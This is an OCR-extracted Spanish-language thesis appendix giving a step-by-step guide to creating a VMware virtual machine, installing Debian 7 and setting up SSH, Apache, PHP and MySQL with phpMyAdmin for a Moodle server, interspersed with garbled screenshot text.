New Virtual Machine Wizard @

Choose the Virtual Machine Hardware Compatibiity
Which hardware features are needed for this virtual machine?

Virtual machine hardware compatibility

Hardware Workstation 9.0 v

Compatible ESX Server

Compatible products: Limitations:

Fusion 5.0 - 64 GB memory limit -
\Warkstation 9.0 8 processor limit

10 network adapter limit
2 TB disk size limit

<sack | [ net> ][ cancel




5. En esta parte podemos seleccionar la unidad de CD o DVD, una imagen de disco o
instalar el sistema operativo después, seleccionando esta ultima y dando clic en Next

(posteriormente se configurara).
New Virtual Machine Wizard -

Guest Operating System Installation
Avirtual machine is like a physical computer; it needs an operating
system. How will you install the guest operating system?

Install from
~) Installer disc:

& DvD RW Drive (D:) -

) Installer disc image file (iso)

C:\Users\Ivan Zuchovicki\Desktop\PATRICIA\software v Browse.

(@) Twill install the operating system later.

The virtual machine will be created with a blank hard disk.

<Back | [ tet> ][ cancel |

6. 6. En seguida seleccionaremos el sistema operativo que instalaremos eligiendo primero el

tipo de sistema operativo y después la version.
New Virtual Machine Wizard @
P Move
Select a Guest Operating Syste x Close  Alt+Fd
\ihich operating system vill be e?

Guest operating system

~) Microsoft Windows
@) Linux

~) Novell NetWare

~) Sun Solaris

~) VMware ESX

") Other

Version

Debian 6

<sack | [ wex> |[ cancel

7. Posteriormente ingresaremos el nombre que tendra nuestra maquina virtual o si se desea

cambiar la ruta en donde se guardaran los archivos de la maquina virtual daremos clic en

Browse.

New Virtual Machine Wizard |

Name the Virtual Machine
‘What name would you like to use for this virtual machine?

Virtual machine name

Davinci

Location:

C:\Users\ivan Zuchovicki\Documents\Virtual Machines\Davinci

The default location can be changed at Edit > Preferences.

<Back | [ Ned> |[ Cancel




8. Seleccionaremos el nimero de procesadores y nucleos por procesador de nuestra maquina

virtual.

New Virtual Machine Wizard @

Processor Configuration
Specify the number of processors for this virtual machine.

Pracessors

T

Total processor cores 1

[ <Back |[ mex> [ cance |

9. Seleccionamos la cantidad de memoria RAM que tendra la maquina virtual

New Virtual Machine Wizard @

Memory for the Virtual Machine
How much memory would you like to use for this virtual machine?

Specify the amount of memory allocated to this virtual machine. The memory
size must be 3 multiple of 4 MB.

64 GB Memory for this virtual machine =/ mp
32GB
16 GB
8GB
s @ Maximum recommended memory:
268 4632 MB
1GB
st2M <] 4 [ Recommended memory:
256 MB 512 MB
128 MB
64 MB <l 0 Guest OS recommended minimum:
32 MB 64 MB
16 MB
8 MB
4 MB

<sack | [ _net> ][ cancel

10. Seleccionamos el tipo de red en la que se encontrara la maquina virtual

New Virtual Machine Wizard -

Network Type
What type of network do you want to add?

Network connection

(©) use bridged networking
Give the guest operating system direct access to an external Ethernet
network. The guest must have its own P address on the external network.
(@) Use network address translation (NAT)
Give the guest operating system access to the host computer's dial-up or
external Ethernet network connection using the host's IP address.
") Use host-only networking
Connect the guest operating system to a private virtual network on the host
computer.

~)Do not use a network connection

<sack | [ Nee> ] [ cancel

11. Seleccionamos el tipo de controladores



New Virtual Machine Wizard =5

Select 1/0 Controller Types
Which SCSI controller type would you like to use?

/0 controller types
IDE Controller:  ATAPI
SCSI Controller: () BusLogic
(@)LSI Logic (Recommended)

() LSI Logic SAS

[ <Bock |[ nNet> [ cancel |

12. Ahora crearemos el disco duro virtual, seleccionando la primera opcion

New Virtual Machine Wizard |

Select a Disk
Which disk do you want to use?

Disk

(@) Create a new virtual disk

A virtual disk is composed of one or mare files on the host file system, which
will appear as a single hard disk to the guest operating system. Virtual disks
can easily be copied or moved on the same host or between hosts.

(7) Use an existing virtual disk
Choose this aption to reuse a previously configured disk.

(7) Use a physical disk (for advanced users)

Choose this option to give the virtual machine direct access to a local hard
disk.

<Back | [ Met> ][ Cancel

13. Seleccionamos el tipo de disco duro

New Virtual Machine Wizard |

Select a Disk Type
What kind of disk do you want to create?

Virtual disk type
“)DE

(@ scs1 (Recommended)

[ <Back |[ nNex> [ cancel

14. Daremos la capacidad del disco duro y la forma de almacenamiento

New Virtual Machine Wizard |

Specify Disk Capacity
How large do you wiant this disk to be?

Maxdimum disk size 0=

Recommended size for Debian 6: 20 GB

["] Allacate all disk space now.

Allocating the ful capacity can enhance performance but requires all of the
physical disk space to be available right now. If you do not allocate all the
Space now, the virtual disk starts small and grows as you add data to t.

Store virtual dick as a single file
(@) split virtual disk into multiple files

splitting the disk makes it easier to move the virtual machine to another
computer but may reduce performance with very large disks.

<Back | [ text> ][ Cancel




15. Nos indica el nombre del disco duro virtual

New Virtual Machine Wizard -

Specify Disk File
Where would you like to store the disk file?
Disk File
one disk file will be created for each 2 GB of virtual disk capacty. File names for
each file beyond the first will be automatically generated using the file name
provided here as a basis.
Davinci.vmdk Brow
<sack | [ next> ][ cancel |

16. Nos muestra un resumen de las configuraciones realizadas en la maquina virtual

New Virtual Machine Wizard @

Ready to Create Virtual Machine
Click Finish to create the virtual machine. Then you can install Debian 6.

The virtual machine will be created with the following settings:

Version: Workstation 9.0 £
Operating Syst.. Debian 6

Hard Disk: 20 GB, Split

Memory: 512 MB

Network Adap.. NAT

Other Devices: CD/DVD, Floppy, USB Controller, Printer, Soun..

n

Customize Hardweare...

[ <Back |[ Fmsn ][ cancel

17. Nos abre una pestafia con la maquina virtual creada

i Davinci - VMware Workstation SNEl X"
File Edit View VM Tabs Help
b - VOGO
Libra g
2 Home (1 Davinci
Q Type here to sea.. ¥
= =l My Computer == Davinci
(1 Debian 7 B> Power on this virtual machine -
g Debian 7 Cliente G Edit virtual machine settings
Shared VM: .
< Share ¢ ¥ Devices
. Memory 512 MB
[ Processors 1

n

=Hard Disk (SCSI) 20 GB
=)CD/DVD (IDE) Auto detect i . }
HFloppy Auto detect Virtual Machine sDetalI; o

tate: Powered o
ENetwork Adapter NAT Configuration file: C:\Users\lvan
B USE Controller  Present Zuchovicki\Documents\Virtual

&) Sound Card Auto detect Machines\Davinci\Davinci.vmx
= Printer Present Hardware compatibility: Wor?tatioﬂ 9.0 virtual
p—rr— machine
d L1} ’ EDisplay Auto detect i
[l

18. Damos clic en Edit virtual machine settings y seleccionaremos CD/DVD para elegir

desde donde instalaremos el sistema operativo (punto 5)



Virtual Machine Setting. s S
Hardware |options

Device Summary Device status

- Memory 512 MB Connected
[ Processors 1 [] Connect at power on
(=i Hard Disk (SCST) 20 GB

L co/ovp (1DE) Auto detect Connection

Floppy Adto detect (@ use physical drive

Tonetwork Adapter  NAT

@ uss contraller Present Auto detect v
@) Sound Card Auto detect _

(SPrinter Present (L) Vse 150 image file

Episplay Auto detect v || Browse..

[ ok [ concel ][ relp

19. En el apartado de Connection elegimos Use physical drive si tenemos un disco de
instalacién o Use ISO image file si tenemos una imagen de disco del sistema operativo. En
este caso se selecciona Use ISO image file y damos clic en Browse buscando y

seleccionando la imagen de disco del sistema operativo

Virtual Machine Settings — — - |

Hardware |options

Device Summary Device status

. Memory 512 MB Connected
[ Processors 1 [] connect at power on
(Hard Disk (SCST) 20 GB
)co/ovD (IDE) Auto detect Connection
BFio Auto detect -
ENebTuyrk cdopter AT © Use physical drive:
B use controller Present Auto detect -
@) Sound Card Auto detect _
(@) use 150 image file
= Printer Present
ooy ot e

(o J[ cancel | [ Help

20. Por ultimo daremos clic en Power on this virtual machine para iniciar la instalacién del

sistema operativo



) Davinci - VMware Workstation =B X

File Edit View VM Tabs Help
- mE=R)

Library X

Home 1 Davinci

Q Type here to sea.. ¥

= =l My Computer
41 Debian 7
1 Debian 7 Cliente
1 Davinci
& Shared VMs

21. Continuaremos con la instalacién del sistema operativo, terminada la instalacion se iniciara

el sistema.

il Davinci - VMware Workstation ‘ =|El i;hi

File Edit View VM Tabs Help
i~ || D G |0 == gD
Library x

Home. (§ Davind
-

Q Type here to sea,
= =l My Computer
51 Debian 7
1 Debian 7 Cliente
iy Davinci
& Shared VMs

Debian GNUZLE

Graphicalista
Advanced opi

Help
Install with speech synthesis

< 111} L Press ENTER to boot or TAB to edit a menu entry

To direct input to this VM, click inside or press Ctrl+G. QGEHmdE | B

22. Continuaremos con la instalacién de las herramientas de VMware (VMware Tools) dando

clic en el mend VM, Install VMware Tools, iniciando el asistente de instalacién.



) Davinci - VMware Workstation

EE <

File Edit View VM Tabs Help
M= ¢ ||O= = & |3

Library X
Home L@ Davinci

Type here 1o sea...
= =l My Computer
(i1 Debian 7
1 Debian 7 Cliente
p Davinci
& Shared VMs

To direct input to this VM, click inside or press Ctrl+G.

= L) =]

23. Termina la instalacién de la maquina virtual con las VMware




Apéndice C

Instalacién basica de la distribucion Debian 7

1. Instalar el sistema operativo seleccionado, Debian.
a. Descargar el archivo ISO de instalacion.
El archivo de instalacion esta disponible en la siguiente direccion:
» http://cdimage.debian.org/cdimage/release/current/amd64/iso-cd/debian-7.1.0-amd64-

netinst.iso

install
Graphical installl
b4 bit graphicalinstalll
Advanced options
Help
Install with speech synthesis
64 bit speech install

Press ENTER to boot or TAB to edit a menu entry

Para comenzar la instalacion, seleccione la opcion Install y presione luego [ENTER].
2. Luego de algunos segundos, debe seleccionar la lengua de instalacion, que sera también la
lengua utilizada por el sistema. Para efectos de compatibilidad, se recomienda
seleccionar English:

[11] Select a language

Choose the language to be used for the installation process. The
selected language will also be the default language for the installed
system.

Language:

Albanian Shgip
Arabic e
fAsturian Asturianu
Basoue Euskara
Belarusian Eenapyckan
Bosnian Bosansk i
Bulgarian EBArapckn

Catalan Catald
chinese (Simplified) ()
Chinese (Traditional) I (EE)
Croatian Hrvatski
Czech Cestina
Dansk.
Nederlands

Después, debera indicar la localizacién geografica del servidor. Basada en la lengua seleccionada,

aparecera una lista con diversos paises. Si no encuentra un pafs, puede seleccionar other:


http://cdimage.debian.org/cdimage/release/current/amd64/iso-cd/debian-7.1.0-amd64-netinst.iso
http://cdimage.debian.org/cdimage/release/current/amd64/iso-cd/debian-7.1.0-amd64-netinst.iso
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Si ha seleccionado other, después debe indicar la region:

Finalmente, debe seleccionar el pafs:

En el siguiente paso, vamos a escoger otra vez el inglés para evitar conflictos de compatibilidad.



[!] Configure locales

There is no locale defined for the combination of language and
country you have selected. You can now select your preference from
the locales available for the selected language. The locale that will
be used is listed in the second column

Country to base default locale settings on:

Antigua and Barbuda
fiustralia
Botswana
Canada

Hong Kong
India

Ireland

New Zealand
MNigeria
Philippines
Singapore
South Africa
United Kingdom

<G0 Back»

activates buttons

Después puede escoger el mapa de teclado. Si usted necesita escribir en espafiol, puede
seleccionar Spanish o Latin American.
Luego el instalador cargara algunos componentes antes de pasar a la configuracion de red.

3. Conexion a Internet. Para conectarse a Internet se requiere, basicamente, la atribucion de
una direccion IP y de un nombre al sistema. La direccion IP y los demas parametros de la
red pueden obtenerse de forma automatica, a partir de un servidor DHCP o configurados
manualmente.

4. Direccion IP automatica via DHCP. En este paso el instalador intentara obtener una

direccion IP de forma automatica, a través de un servidorDHCP:

Attempting IPve autoconfiguration. ..

5. Direcciéon IP manualmente. Si el instalador no puede obtener de forma automatica la
direccion IP o si el proceso se interrumpe, sera necesario configurar la conexion a Internet

manualmente.



[11] Configure the netwark

Network autoconfiguration failed
Your network is probably not using the DHCP protocol. Alternatively,
the DHCP server may he slow or some network hardware is not working

properly.

(Continue>

En este caso, seleccione la opcion “configuraciéon manual de la red”:

[11] Configure the netuwork

From here you can choose to retry DHCP network autoconfiguration
(which may succeed if your DHCP server takes a long time to respond)
or to configure the network manually. Some DHOP servers require a
DHCP hostname to be sent by the client, so you can also choose to
retry DHCP network autoconfiguration with a hostname that uou
provide.

Metwork configuration method:

Retry network autoconfiguration
ork_gutoconfiguration with & DHCOP hostname

Do not configure the network at this time

<Go Back>

Escriba la direccion IP del sistema. Esta direcciéon debe ser tnica en la configuracion de la red

local.

network 132.248.59.0

La red interna accederd a Internet. Normalmente es la direccion del router o el modem de nuestro
proveedor de acceso a Internet.

address 132.248.59.129

netmask 255.255.255.0

Indique el gateway o acepte el sugerido:
gateway 132.248.59.254

dns-search davinci.fi-b.unam.mx



La direccion del servidor DNS se puede obtener a través de nuestro proveedor de acceso a la red.
Generalmente, es la misma direccién del router.
Indique la direccion sugerida del servidor DNS o acepte la sugerida:

6. Nombre del sistema. Indique el nombre por el cual el sistema sera reconocido en la red.

Tal como la direccion IP, este nombre debe ser tinico en la red local:

[1] Configure the network

Please enter the hostname for this system.

The hostname is a single word that identifies your system to the
network. If you don't know what your hostname should be, consult your
netwark administrator. If you are setting up your own home network,
you can make something up here.

Hostname:

<Go Back> <Continues

Indique el dominio. Debe emplearse un dominio inexistente, como “casa-red” o “home-lan”. No
se puede utilizar nombres de dominios que existan como “google.com” o “linux.org”, para evitar

problemas en la resolucién de los nombres.

[1] Configure the netwark

The domain name is the part of your Internet address to the right of
your host name. It is often something that ends in .com, .net, .edu,
or .org. If you are setting up a home network, you can make
something up, but make sure you use the same domain name on all your
computers.

Domain name:

<Go Back>

7. Usuarios y passwords. El instalador requiere la configuraciéon de dos cuentas de sistema
o logins. La primera es el root, se trata de una cuenta especial porque esta privilegiada con
plenos poderes de accion sobre el sistema. La segunda es la de un usuario ‘normal’, con
poderes limitados por seguridad.

8. Root. Para la cuenta del super-usuario o rootse necesita una contrasefia o password.

Recuerde que el nombre predefinido de esta cuenta es root. También es clave repetir que



el root tiene el privilegio de modificar el sistema, por tanto, siempre es buena idea escoger

una contrasefia que sea dificil de adivinar o romper.

[11] Set up users and passwords

You need to set a password for 'root', the system administrative
account. A malicious or ungualified user with root access can have
disastrous results, so you should take care to choose a root password
that is not easy to guess. It should not be a word found in
dictionaries, or a word that could be easily associated with you.

A good password will contain a mixture of letters, numbers and
punctuation and should be changed at regular interwvals.

The root user should not have an empty password. If you leave this
empty, the root account will be disabled and the system's initial
user account will be given the power to become root using the "sudo
command.

Note that uou will not be ahle to see the password as you tupe it.

Root password:

Confirmar la contrasena de la cuenta del root. Es necesario escribir dos veces la misma contrasena

para verificar que no tenga €rrores.

[11] Set up users and passwords

Flease enter the same root password again to werify that you have
typed it correctly.

Re-enter password to werify:

<Go Back> Continue

9. Usuario normal. Un usuario normal, sin privilegios creados, también debe ser creado. Para

completar este paso, debe indicar el nombre completo de este usuatrio.

{ [1!] Set up users and passwords |

A user account will be created for you to use instead of the root account for
non-administrative activities.

Please enter the real name of this user. This information will be used for instance as
default origin for emails sent by this user as well as any program which displays or uses
the user's real name. Your full name is a reasonable choice.

Full name faor the new user:

<Go Back> <Cont inue>

Luego indicar el login del usuario, se trata del nombre con que se identifica el usuatio en el login:



| [11] Set up users and passwords |

Select a username for the new account. Your first name is a reasonable choice. The
username should start with a lower-case letter, which can be followed by any combination
of numbers and more lower-case letters.

Username for your account:

<Go Back:

Luego, debe escoger una contrasefia:

{ [11] Set up users and passwords |

A good password will contain a mixture of letters, numbers and punctuation and should be
changed at regular interwvals.

Choose a passward for the new user:

<Go Back:

10. Reloj del sistema y uso horatio
Si es posible, el instalador intentara sincronizar el reloj del sistema a partir de uno de los

servidores que establecen la hora oficial en el Internet:

Setting up the clock |
o0 |

Getting the time from a network time server...

Para seleccionar de manera adecuada el reloj del sistema, aparecera una lista con husos horatios

valida para el pais escogido previamente.

{ [!] Configure the clock |
If the desired time zone is not listed, then please go back to the step "Choose language"
and select a country that uses the desired time zone (the country where you live or are
located) .

Select your time zone:

Pacific

<Go Back»

11. Particionamiento del disco duro. El particionamiento consiste en organizar el disco en
varias areas o particiones, cada una con un objetivo o un tipo de archivos especificos. El

instalador Debian ofrece diversas opciones y estrategias de particionamiento del disco duro.


http://www.servidordebian.org/es/wheezy/install/guide#localizacion

En este caso optamos por dividir el disco en ocho partes, una para la instalacion del sistema (“/”
o “root”) y otra para almacenar los datos (“/home”). Una tercera particién de memoria virtual
(“swap”) también sera creada, una cuarta para /ust, para los binarios de los programas instalados
desde paquetes, una /boot para archivos de inicio del sistema como el kernel y el initrd, /opt
Software de terceros (no instalados del paquete compilado), una para todos los archivos de
DAVINCL

La opcién “Particionamiento guiado” permite crear, de una manera sencilla y rapida, las

particiones de acuerdo a nuestro plan:

{ [111 Partition disks |

The installer can guide you through partitioning a disk (using different standard
schemes) or, if uou prefer, you can do it manually. With guided partitioning wou will
still have a chance later to review and customise the results.

If you choose guided partitioning for an entire disk, you will next be asked which disk
should be used.

Partitioning method:

Guided - use entire disk
Guided - use entire disk and set up LWM

Guided - use entire disk and set uﬁ encriﬁted LM

<Go Back:

En este paso, debe escoger el disco donde se crearan las particiones. En Linux, los discos con
interfaz SCSIo SATA son  nombrados sda, sdb, etc., mientras que los discos con

interfaz IDE (o PATA) son nombrados como hda, hdb, etc.

1 [11] Partition disks |

This is an overview of your currently configured partitions and mount points. Select a
partition to modify its settings (file system, mount point, etc.), a free space to create
partitions, or a device to initialize its partition table.

Guided partitioning

Configure software RAID

Configure the Logical Volume Manager
Conf igure encrupted volumes

SCSI3 (0,0,0) (sda) - 85.9 GB YMuare, VMuare Virtual &
i B FREE SPACE

pris

Undo changes to partitions
Finish partitioning and write changes to disk

<G0 Backy

F1> for helps <Tah

Escoger la opcion “Particion /home separada’



170111 Partition disks |

This is an overview of your currently configured partitions and mount points. Select a
partition to modify its settings (file system, mount point, etc.), a free space to create
partitions, or a device to initialize its partition table.

Guided partitioning

Configure software RAID

configure the Logical volume Manager
Canfigure encrupted volumes

10.0)
prislog 85.9 GB FREE SPACE

Undo changes to partitions
Finish partitioning and write changes to disk

<G0 Back>

<F1> for help; <Tab> ts; <Enter> ac

[11] Partition disks
How to use this free space:
Create & new partition
Automatically partition the free space
Show Cylinder/Head/Sector information

<Go Back>

F1> for help; <Tab

La siguiente pantalla resume nuestra configuracion, donde seran creadas 8 particiones:

Directorio Descripcion

/boot Archivos de inicio del sistema como el kernel y el initrd.
/tmp Archivos temporales |

/ust Binarios de los programas instalados desde paquetes

/var Datos de variables por lo general para bitacoras

/home Directorio home de los usuarios

/root Directorio del home de root

/DAVINCI Cursos

/opt Software de terceros (no instalados del paquete compilado)

Atencion: las particiones seran formateadas, por tanto todos los datos existentes en el disco seran

eliminados.




Formatear las particiones puede requerir un poco de tiempo, esto depende del tamafio del disco y

del tipo de hardware.

170111 Partition disks |

This is an overview of your currently configured partitions and mount points. Select a
partition to modify its settings (file system, mount point, etc.), a free space to create
partitions, or a device to initialize its partition table.

Guided partitioning

Configure software RAID

configure the Logical volume Manager
Canfigure encrupted volumes

SCSI3 (0,0,0) (sda) - 85.9 GB VYHuware, VWMware Virtual S
#1 primary 999.3 HB £ 7/
logical B Zhorme
logical o fusr
logical . /DAVINCT
logical . Jhoot
logical . Suar
logical . stmp
primary . rvar

<GD Back>

F1> for helps <Tab>

170111 Partition disks |

This is an overview of your currently configured partitions and mount points. Select a
partition to modify its settings (file system, mount point, etc.), a free space to create
partitions, or a device to initialize its partition table.

Guided partitioning

Configure software RAID

configure the Logical volume Manager
Canfigure encrupted volumes

SCSI3 (0,0,0) (sda) - 85.9 GB VYHuware, VWMware Virtual S
#1 primary 999.3 HB £ 7/
logical 0
logical 0
logical <3
logical .3 extd Jhoot
0
0
0
0

extd Zhorme
ext4  susr
extd /DAVINCT

logical
logical

extd  /opt
extd  /usr/local
extd

extd  fuar

logical 2.
primary 5.

<G0 Back>

12. Instalacion del sistema base
En este paso, el instalador comenzara la instalacion de los paquetes necesarios para crear un
sistema base. Este proceso puede demorar algun tiempo, en la primera fase, seran descargados los

paquetes necesarios:



{ Installing the base sustem |

Retrieving e2fsprogs...

En la segunda fase, los paquetes “base” seran instalados, y finalmente, se instalara el kernel del
Linux.

13. Configuracién del gestor de paquetes apt. La distribuciéon Debian tiene un poderoso
sistema de gestaciéon de paquetes de software, que se llama “apt”. Este gestor facilita la
actualizacion e instalacion de nuevos paquetes a partir de varios repositorios. Usualmente
estos repositorios se encuentran en Internet.

Para hacer mas eficiente el proceso de instalaciéon de paquetes desde Internet, debe seleccionarse
el repositorio geograficamente mas cercano al usuario. Para esto, debe elegirse un “mirror”.

En primer lugar, debe escoger el pais, luego, escoger el mirror més préximo:

[1] Configure the package manager

Please select a Debian archive mirror. You should use a mirror in wour country or region
if you do not know which mirror has the best Internet connection to you.

Usually, ftp.<your country code>.dsbian.org is a good choice.

Debian archive mirror:

cdn. 2
mmc. geof isica. unam.mx

<G0 Backy

s; <Enter:




1 Configuring apt f

Retrieving file 3 of 4 (3s remaining)

| Select and install softuare |
= |

Preparing linux-image-3.2.0-4-amds4

14. Concurso de popularidad. La comunidad Debian mantiene un concurso de popularidad
interno, con el fin de obtener estadisticas sobre los sistemas instalados. Por tanto, la
instalacion de este paquete depende de la instalacién de otros paquetes, esta situaciéon no es

recomendable, por lo que se sugiere seleccionar NO:

1 [!] Configuring popularity-contest |

The system may anonymously supply the distribution developers with statistics ahout the
most used packages on this system. This information influences decisions such as which
packages should go on the first distribution CO.

If you choose to participate, the automatic submission script will run once every week,
sending statistics to the distribution developers. The collected statistics can be viewed
on http:sspopcon. debian. orgs.

This choice can be later modified by running "dpkg-reconfigure popularity-contest'.

Participate in the package usage surwvey?

<Go Back:




15. Seleccion del software para instalar. El instalador permite la instalacion automatica de
diversas configuraciones del sistema. Como queremos personalizar totalmente nuestro
sistema, anularemos cualquier seleccion existente. Con esto se instalara un sistema con un

minimo de funcionalidades.

[!] Software selection |

At the moment, only the core of the system is installed. To tune the system to your
needs, you can choose to install one or more of the following predefined collections of
softuare.

Choose software to install:

em utilities

<G Back> <Cont inue

16. Instalacion del gestor de arranque grub. En este paso, el sistema esta practicamente
instalado. Sin embargo, para que éste pueda arrancar debe instalarse el gesto de arranque

“orub” en el master boot record (mbr) del disco:

[!] Install the GRUE boot loader on a hard disk
It seems that this new installation is the only operating system on this computer. If so,
it should be safe to install the GRUE boot loader to the master hoot record of your first
hard drive.
Warning: If the installer failed to detect another operating system that is present on
your computer, modifying the master boot record will make that operating system
temporarily unbootable, though GRUB can he manually configured later to boot it.
Install the GRUB boot loader to the master hoot record?

<Go Backr

17. Terminar la instalacion. La instalacion esta terminada. Debe retirar el CD-Rom de
instalacion de la unidad de CD y seleccionar “continuar”. Con esto concluye la instalacion

y arranca el sistema nuevo.

1 [1!] Finish the installation |

Installation complete
Installation is complete, so it is time to hoot into your new system. Make sure to remove
the installation media (CD-ROM, floppies), so that you boot into the new system rather

than restarting the installation.

<G0 Back>




18. El primer arranque del sistema. Si usted puede ver la siguiente pantalla, esto indica que la

instalacion concluy6 bien:

GNU GRUB

UL inux, with Linu )—d-amd6d

ittt

cally in

19. Login. El login o acceso al sistema.
El resultado de la instalacion sugerida es un sistema Linux con un minimo de funcionalidades,
pero extremadamente solido, que muy pronto podra crecer tanto como lo exijan nuestras propias

necesidades.

vincliz ttyl




Apéndice D

Instalacién Moodle

A partir de aqui ya tenemos el sistema operativo Linux Debian correctamente instalado, en este
apéndice haremos la configuracién para usarlo como servidor y se realizara la instalacion de
Moodle.

Una de las primeras cosas es configurar la red.

1. Arrancamos nuestra PC y nos logeamos con el usuario root.

Realizaremos algunas comprobaciones y configuraciones para asegurarnos que tenemos bien
configurada la red ademas de tener acceso a internet desde este servidor.

Asignarle una IP fija a nuestra maquina, esto es necesario porque si vamos a ofrecer servicios
hacia internet debemos abrir puertos y asignarlos a una IP fija desde el Router. Si por el contrario
tenemos la asignacién IP de forma automatica no podremos asignarle X puerto a X IP. Con lo
cual es completamente necesario que nuestra tarjeta de red tenga una IP fija.

2. Comprobando si tenemos salida a internet mandando un ping, por ejemplo a Google.

1+deh7ul

Si tenemos respuesta, tenemos IP, ahora veremos de qué rango es la IP que nuestro Router nos

asigno, ejecutando el siguiente comando. ifconfig



Como podemos ver en la imagen, mi Router tiene activado el modo DHCP y me asigno
automaticamente la IP 192.168.248.128 por lo cual con ella sabemos el rango que debemos
utilizar para nuestra IP Fija es de 192.168.1.x.

Antes de hacer algin cambio a hacemos una copia por seguridad a el archivo interfaces con el
siguiente comando

cp /etc/network/interfaces /etc/network/interfaces.otig

.unam.mx

Si nos fijamos en la imagen podemos ver la direcciéon de mi tarjeta de red, mascara de subred. IP

del Router y servidores de nombres DNS.



Como podemos ver la direccion IP de la tarjeta de red a cambiado por la que le asighamos. Ahora
cuando se necesite re direccionar un puerto desde el Router a nuestra maquina nos sera posible ya
que tenemos una IP fija.

SSH (Secure Shell) es una forma segura con la que vamos a poder conectarnos a nuestro servidor
de manera remota. Podremos conectarnos a él por nuestra red siendo de manera local o desde
internet.

Arrancamos nuestro servidor y nos logueamos con root, procedemos a la actualizaciéon de la
informacién de los repositorios (+++) con los siguientes comandos.

apt-get update

apt-get install ssh

Reiniciamos el servidor

reboot

Una vez reiniciada la maquina vamos a conectarnos a ella desde otro ordenador de nuestra red.

E? davinci.fi-b.unam.mx - PuTTY ‘ = | O] -

i-b.unam.




Todas las configuraciones del servidor ssh se encuentran en el archivo /etc/ssh/sshd_config.

Por seguridad, se debe desactivar el login como root, para adquirir los privilegios del root, se debe
hacer un login usuario normal y, después, adquirir los privilegios de root. De este modo,
prevenimos que el password del root sea objeto de un ataque.

#:Authentication

LoginGraceTime 120

PermitRootLogin no

StrictModes yes

Clientes Windows

El acceso a partir de clientes Windows es posible con un programa emulador del terminal que
soporte ssh, como Putty:

E? patricia@davinci2: ~ ‘ilglé

n }_'lr"ﬂ'

3. Apache — Servidor web
Procedemos arrancar nuestro servidor y nos logueamos con root. APACHE
Instalamos el paquete apache.
apt-get install apache
_

Una vez finalizada la instalacién abrimos un navegador en nuestro PC de

escritorio e introducimos la IP servidor y veremos el mensaje It Works.



[1192168.248128  x
€ C' [1192168.248.128 & =

It works! ]

prueba de verdad This is the defanlt web page for this server.

The web server software is running but no content has been added. yet. ‘

Esto quiere decir que nuestro servidor apache ya esta funcionando y listo para servir como
contenido web.

El directotio hacia donde apunta el servidor Web Apache por defecto es a /var/www/apache2.
Esto lo podemos cambiar para que apunte a uno de nuestros directorios que tenemos en nuestro
directotio /home/usuario para que cuando mas adelante instalemos el servidor ftp podamos subir

y bajar archivos directamente desde el directorio que serd visto por los demas desde internet.

4, PHP
Uno de los lenguajes de programacion que vamos a necesitar en el
montaje de este servidor Web en Linux Debian es (PHP). Este

lenguaje es usado por el software de Moodle con el que al final de

esta configuracion instalaremos.
Vamos a instalar unos cuantos paquetes para que nuestro servidor sea compatible con PHP y
podamos usarlo tanto programas webs, scripts del siguiente modo.

Arrancamos nuestro servidor y nos logueamos como root e instalamos los paquetes php5-cgi,
php5-cli, php5-common y libapache2-mod-php5 con el siguiente comando:

apt-get install php5-cgi, php5-cli, php5-common y libapache2-mod-php5

Vamos agregarle la siguiente linea (Directorylndex index.html index.cgi index.pl index.php
index.xhtml index.shtml) al fichero de configuraciéon del Apache llamado apache2.conf para que
nuestro Web server sea compatible con ese tipo de extensiones.

echo Directorylndex index.html index.cgi index.pl index.php index.xhtml index.shtml >>

/etc/apache2/apache2.conf



Tenemos que ver la dltima linea como esta.

# Include ¢
Includ

written

Ahora vamos a comprobar que todo va bien editando un archivo en el directorio raiz de nuestro

servidor Web.

php phpinfol);

Reiniciamos nuestro apache con el siguiente comando:
Apache2ctl restart
Y con el navegador lo abrimos, http://IP/compatible.php

Veremos informacion detallada sobre el soporte para PHP que ahora tenemos instalado.
==X

phpinfo() x

€« e 192.168.248.128/compatible.php

| »

PHP Version 5.4.4-14+deb7u4 Php

System Linux davinci2 3.2.0-4-amad64 #1 SMP Debian 3.2.46-1+0eb7u1 x86_64
Build Date Aug 23 2013 14:38:57
Server APl | Apache 2.0 Handler

Virtual disabled
Directory
Support

Configuration | /etc/php5/apache2
File (php.ini)
Path
Loaded Jetc/phpS/apache2iphp.ini
Configuration
File
Scan this dir | /etc/php5/apache2iconf.d
for additional
.ini files
Additional _ini 4M0-pdo.ini, /20-curl.ini,
files parsed a/20-gdLini, G/20-int.ini
di20-mysql.ini, o aqliini,
letc/phpS/apache2iconf.di20-pde_mysaqlini, fetc/phpS/apache2iconf.di20-xmirpc.in
PHP API 20100412
PHP 20100525
Extension

Zend 220100525
Extension

MySQL Base de Datos

My

En este punto se montara una base de datos Mysql y phpMyAdmin para poder administrar las
bases de datos que mas adelante nos haran falta para Moodle.

Arrancamos el servidor en Linux Debian y nos logueamos como root e instalamos los siguientes
paquetes.

apt-get install mysqgl-server mysql-client php5-mysqgl


http://ip/compatible.php

Para facilitarnos el manejo de la administracion de nuestra base de datos utilizaremos el entorno
web PhpMyAdmin, con este software podremos crear, borrar, modificar, dar permisos, bueno

podemos hacer todo a lo que se refiere a la administracion de base de datos MySQL.

Comenzamos la instalacién con
apt-get install phpmyadmin
El programa se instala en la ruta /var/www de nuestro apache2 por defecto.

Pincha sobre el directorio de phpmyadmin y veras una pantalla como esta.

4 phpMyAdmin x
€ C' | [) 192.168.248.128/phpmyadmin/

bt

m

phpMyAdmin
Bienvenido a phpMyAdmin

Idioma - Language

Espafiol - Spanish =]
Iniciar sesion &
Usuario:

]

Contrasefia:

Continuar

/4, Las cookies deben estar activadas.

Seguidamente introducimos en la casilla de usuario (root), la de password.

Es bueno por métodos de seguridad utilizar un password para root diferente y seguro para evitar

una brecha de vulnerabilidad en nuestro servidor Web.

(=
4 192168248128 / loc % 3 9 _ 9
& > € [} 192.168.248.128/phpmyadmin/index.php?token=8538a0ecl 7cf78b554¢80704e45aalb3 v =
phpMyAdmin 1

i Basesde datos  [] SQL (g Estado actual = 4% Procesos = =7 Privilegios [ Exportar =[5} Importar | 2] Variables | v Mas

% 8300 ¢

3 dbdavinci ifigur

) information_schema
3 mysql
3 performance_schema

3 test

& Cambio de contrasefia

= Cotejamiento de las conexiones MySQL ¢

| utfs_general _ci

2

& 1dioma - Language o - | Espafiol - Spanish
D Tema / Estio: | pmahomme []

« Tamaiio de fuente: | g2% [=]

& Mas configuraciones

« Senidor: Localhost via UNIX sacket

« Versidn del senidor: 5.5 31-0+uheszy1

« Versidn del protocolo: 10

+ Usuario: root@localhost

